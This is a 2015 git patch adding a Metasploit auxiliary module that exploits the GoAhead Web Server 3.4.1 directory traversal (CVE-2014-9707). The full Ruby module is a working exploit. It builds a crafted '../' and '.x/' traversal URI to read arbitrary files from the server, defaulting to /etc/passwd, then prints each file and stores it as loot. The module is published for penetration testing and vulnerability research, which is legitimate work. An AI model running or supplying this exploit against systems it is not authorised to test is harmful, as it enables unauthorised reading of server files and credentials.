From d399d05383f840bc350eab4415345cc7d752dd99 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Tue, 7 Apr 2015 20:22:06 -0300 Subject: [PATCH] Add Directory Traversal for GoAhead Web Server --- .../scanner/http/goahead_traversal.rb | 77 +++++++++++++++++++ 1 file changed, 77 insertions(+) create mode 100644 modules/auxiliary/scanner/http/goahead_traversal.rb diff --git a/modules/auxiliary/scanner/http/goahead_traversal.rb b/modules/auxiliary/scanner/http/goahead_traversal.rb new file mode 100644 index 0000000000..137530ef59 --- /dev/null +++ b/modules/auxiliary/scanner/http/goahead_traversal.rb @@ -0,0 +1,77 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GoAhead Embedded Web Server Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal vulnerability in the EmbedThis GoAhead Web Server v3.4.1, + allowing to read arbitrary files with the web server privileges. + }, + 'References' => + [ + ['CVE', '2014-9707'], + ['URL', 'http://packetstormsecurity.com/files/131156/GoAhead-3.4.1-Heap-Overflow-Traversal.html'] + ], + 'Author' => + [ + 'Matthew Daley', # Vulnerability discovery + 'Roberto Soares Espreto ' # Metasploit module + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT(80), + OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]), + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 5 ]) + ], self.class) + + deregister_options('RHOST') + end + + def run_host(ip) + traversal = "../" * datastore['DEPTH'] + segments = ".x/" * datastore['DEPTH'] + filename = datastore['FILEPATH'] + filename = filename[1, filename.length] if filename =~ /^\// + + res = send_request_raw({ + 'method' => 'GET', + 'uri' => "#{traversal}#{segments}#{filename}" + }) + + if res && + res.code == 200 && + res.headers['Server'] && + res.headers['Server'] =~ /GoAhead/ + + print_line("#{res.body}") + + fname = datastore['FILEPATH'] + + path = store_loot( + 'goahead.traversal', + 'text/plain', + ip, + res, + fname + ) + + print_good("#{peer} - File saved in: #{path}") + else + print_error("#{peer} - Nothing was downloaded") + end + end +end